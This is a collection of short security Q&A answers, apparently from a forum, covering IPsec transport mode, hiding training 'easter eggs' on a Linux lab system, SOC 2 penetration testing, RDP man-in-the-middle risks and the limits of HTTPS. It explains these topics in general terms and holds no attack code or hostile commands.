Transport mode encrypts only the payload and ESP trailer
NAT traversal is not supported with the transport mode.

Then there is GRE/L2TP for tunneling. But let's clarify what you mean by confidentiality. On #3, you will notice the bolded term only the payload which means your DATA is confidential. Not your connection information. So define what you mean by confidentiality? Is it the confidentiality of the connection, or the confidentiality of the data? Two separate things to think about it. If you are confused, I suggest reading "Understanding IPSEC Tunnel Mode" Unless you clarify what you mean by "confidentiality" the answers you get may vary.


Where can I “hide” easter eggs for students learning about Linux security?

I can think of a few ideas:

put the codes inside a file running at boot, discoverable when the user run strings on it
put the codes on suid scripts (you should never ever have suid scripts)
put codes on world-writable binaries on /sbin
put codes on world-readable config files somewhere
put codes on tmp files
put codes as a chain name on iptables

Things like that.


Will A SOC 2 Audit Typically Require Penetration Testing?

Having gone through this myself, the answer is truly up to the audit agency performing the audit. It is an easy-to-understand third party assurance function that is quite typical in this kind of audit.

You might be able to negotiate with the auditor to not require it this time around, but you will need to be able to compensate for the loss of assurance in some other way.

In the Management Response, the Business can explain why the penetration test was not performed.


What security risks do you face when connecting to a server via RDP?

If the server's identity cannot be trusted, it is possible that you are subject to a man-in-the-middle attack. If that happens, an attacker can potentially read and/or alter your RDP traffic in either or both directions.

Having a MitM on RDP is just as bad as dealing with one on a web session, if not worse. Anything you send to the remote system - keystrokes, mouse activity, file/clipboard transfers, etc. - can be monitored and recorded by the attacker. Additionally, the same can also be altered by the attacker. Traffic coming to you is just as vulnerable. The attacker can see and hear all of the output from the remote system, as well as possibly alter it in transit. They could use this to inject malicious payloads into file/clipboard downloads or take over the session. Any local resources you share (e.g.: printers, local/networked drives, etc.) are put at risk as well.

That being said, most of these warnings are probably benign. The most common reason for seeing this is because the system is using a self-signed SSL certificate instead of one from a trusted Certificate Authority. This is the default configuration for all Windows systems, and usually is not changed except in very security-conscious business environments.

If you want to be sure whether you can trust a self-signed certificate, you need to check the certificate on the system locally first. Note the certificate's fingerprint while logged in locally, then compare it to the fingerprint of the certificate presented over RDP when you try to connect.


Is it secure to send personal data via HTTPS?

No system is 100% secure. But encryption provides a high level of security for data in motion. But it doesn't mean that your data is 100% secured or impossible to break.
Especially you may be trying to access a phishing website. Even though HTTPS is secure, you are sending data to a malicious website.
In addition, the certificate key may be compromised but the certificate is not revoked yet. Or, Forward Secrecy can provide enhanced security of HTTPS but most sites do not enable this feature.
If the site has HTTPS properly configured, you can trust it up to a certain level, because if someone collects data from a middle point, it is impossible to read. If the key is not compromised.